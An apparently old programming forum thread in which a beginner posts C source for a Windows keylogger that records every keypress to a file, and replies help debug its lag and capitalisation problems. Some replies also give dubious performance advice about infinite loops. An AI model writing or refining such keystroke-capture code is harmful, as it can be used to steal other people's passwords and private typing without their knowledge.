Jump to content

Featured Replies

Posted

everytime this program is executed it lags up

also it won't work if i use WinMain() instead of main()

 

#include <windows.h>
#include <stdio.h>

unsigned int list[] = { 1,2,3,4,5,6,7,8,9,10,
                      11,12,13,14,15,16,17,18,19,20,
                      21,22,23,24,25,26,27,28,29,30,
                      31,32,33,34,35,36,37,38,39,40,
                      41,42,43,44,45,46,47,48,49,50,
                      51,52,53,54,55,56,57,58,59,60,
                      61,62,63,64,65,66,67,68,69,70,
                      71,72,73,74,75,76,77,78,79,80,
                      81,82,83,84,85,86,87,88,89,90,
                      91,92,93,94,95,96,97,98,99,100,
                      101,102,103,104,105,106,107,108,109,110,
                      111,112,113,114,115,116,117,118,119,120,
                      121,122,123,124,125,126,127,128,129,130,
                      131,132,133,134,135,136,137,138,139,140,
                      141,142,143,144,145,146,147,148,149,150,
                      151,152,153,154,155,156,157,158,159,160,
                      161,162,163,164,165,166,167,168,169,170,
                      171,172,173,174,175,176,177,178,179,180,
                      181,182,183,184,185,186,187,188,189,190,
                      191,192,193,194,195,196,197,198,199,200,
                      201,202,203,204,205,206,207,208,209,210,
                      211,212,213,214,215,216,217,218,219,220,
                      221,222,223,224,225,226,227,228,229,230,
                      231,232,233,234,235,236,237,238,239,240,
                      241,242,243,244,245,246,247,248,249,250,
                      251,252,253,254,255,0 };

int main()
{
   int i;

   FILE *file;

   file = fopen("Key.txt", "a");

   while (1)
   {
       for ( i = 0; list[i] != 0; i++ )
       {
           if( GetAsyncKeyState( list[i] ) == -32767 )
           {
               break;
           }
       }
       
       if ( list[i] == 0 )
       {
           continue;
       }
       
       else
       {
           fprintf(file, "%c", list[i]);
           printf("%c", list[i]);
       }
   }
   fclose(file);
   return 0;
}

 

don't flame me, im new to logging keys

Are you new to writing code, too? (don't answer that, we already know)

 

You're never breaking out of the while(1) loop.

 

And you can't just change main() to WinMain() and have your console app turn into a Windows app... you kind of need a message loop, a structure that tells windows how to create the window, a winproc function, and a new workspace. Lots of stuff.

  • Author

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmd, int nShow)

 

 

liek that?

 

and no im not new to writting code lol

  • Author
i dont think theres anything wrong with DEV C++ but ill try out the tutorial n see if it works

Fails..

 

Keyboard (QWERTY):

 

unsigned char kbdus[128] =
{
   0,  27, '1', '2', '3', '4', '5', '6', '7', '8',	/* 9 */
 '9', '0', '-', '=', '\b',	/* Backspace */
 '\t',			/* Tab */
 'q', 'w', 'e', 'r',	/* 19 */
 't', 'y', 'u', 'i', 'o', 'p', '[', ']', '\n',	/* Enter key */
   0,			/* 29   - Control */
 'a', 's', 'd', 'f', 'g', 'h', 'j', 'k', 'l', ';',	/* 39 */
'\'', '`',   0,		/* Left shift */
'\\', 'z', 'x', 'c', 'v', 'b', 'n',			/* 49 */
 'm', ',', '.', '/',   0,				/* Right shift */
 '*',
   0,	/* Alt */
 ' ',	/* Space bar */
   0,	/* Caps lock */
   0,	/* 59 - F1 key ... > */
   0,   0,   0,   0,   0,   0,   0,   0,
   0,	/* < ... F10 */
   0,	/* 69 - Num lock*/
   0,	/* Scroll Lock */
   0,	/* Home key */
   0,	/* Up Arrow */
   0,	/* Page Up */
 '-',
   0,	/* Left Arrow */
   0,
   0,	/* Right Arrow */
 '+',
   0,	/* 79 - End key*/
   0,	/* Down Arrow */
   0,	/* Page Down */
   0,	/* Insert Key */
   0,	/* Delete Key */
   0,   0,   0,
   0,	/* F11 Key */
   0,	/* F12 Key */
   0,	/* All other keys are undefined */
};

 

Access a key by doing "kbdus[ascii]"

Waiting a millisecond won't do anything.

 

But..

for ( i = 0; list[i] != 0; i++ )
       {
           if( GetAsyncKeyState( list[i] ) == -32767 )
           {
               break;
           }
       }

 

That break never runs.

It will go into an infinite function doing absolutely nothing. Kinda sucks doesn't it >.>

 

This code might compile, and might work, but I haven't tested it:

 

char keystate[256] = 0;
while(true)
{
GetKeyboardState(&keystate); // I wasn't sure about passing it by reference. Remove the & if it complains
for(int i = 0; i < 256; i++)
{
// Get the high order bit here. If it is 1, the key is down. Else up
// Also if the key is a toggle key like CAPSLOCK, if the low order bit is 1, it is toggled, else not.
// If you don't know how to do this, I was in a hurry, so I didn't have time for thinking :P

// Now do whatever you want with your info
}
}

  asterix said:
And you can't just change main() to WinMain() and have your console app turn into a Windows app... you kind of need a message loop, a structure that tells windows how to create the window, a winproc function, and a new workspace. Lots of stuff.

 

You don't need a window or all that other shit with a w32 project either you know.

 

To dark_urza: put a Sleep() call in that loop.

Yeah, I'm aware, I was just stating that there are alot of differences between a console app and a Win32 app.

 

ViperX, Sleep()ing 1ms (or 10, whatever) as sp0rk and I stated will make a big difference in terms of CPU time. Your post basically restated my first post. :p

  • Author
the other problem is that whenever a key is pressed, either a symbol or a CAPITAL LETTER appears even if its not suppose to be capital
  Quote
sp0rk']You don't need a window or all that other shit with a w32 project either you know.

 

To dark_urza: put a Sleep() call in that loop.

 

10 points for you sp0rk.... or for standard C++ usleep()

try this code.. (on, release:) (get_vasseline) ("ohh n0es g0atse")
  • 1 month later...
  Diaks said:
try this code.. (on, release:) (get_vasseline) ("ohh n0es g0atse")

 

ERROR: undeclared identifier

dark_urza,

 

When you're writing an infinite loop, as you've done with "while(1)"; Use "for(;;)" instead.

 

Why?

Because the constant "1" will be allocated in memory (Or, if you have an optimizing compiler, it _should_ be placed in a register) and the expression will be continuously re-evaluated upon each iteration of the "while" loop, which, if your loop is going to iterate many times you can end up wasting dozens of cycles.

 

But with "for(;;)" there is no allocation, or re-evaluation, and thus; No wasting of cycles.

 

Just a tip.

 

 

Regards,

Matt J.

  • 1 month later...

if you are writing code in C++, why woud you want to use printf instead of using iostream class objects?

i think you are mixing c and c++ up(ive seen a few of your code ).

if you want to use c++, use its facilities

  pk_chaos said:
if you are writing code in C++, why woud you want to use printf instead of using iostream class objects?

i think you are mixing c and c++ up(ive seen a few of your code ).

if you want to use c++, use its facilities

 

Who cares, you're just sending stuff to stdout, how you do it doesn't matter.

 

There isn't REALLY that great a difference between C++ and C anyways.

 

Besides, every cross-platform app I've ever looked at has used stdio instead of iostream.

 

And gj @ bumping a dead discussion.

  • Author

printf() looks cool

 

plus i dont know why iostream makes the program 400 kbs in size

this program id say it would be about...20kb max?

 

way to go bumping and old thread

Guest
This topic is now closed to further replies.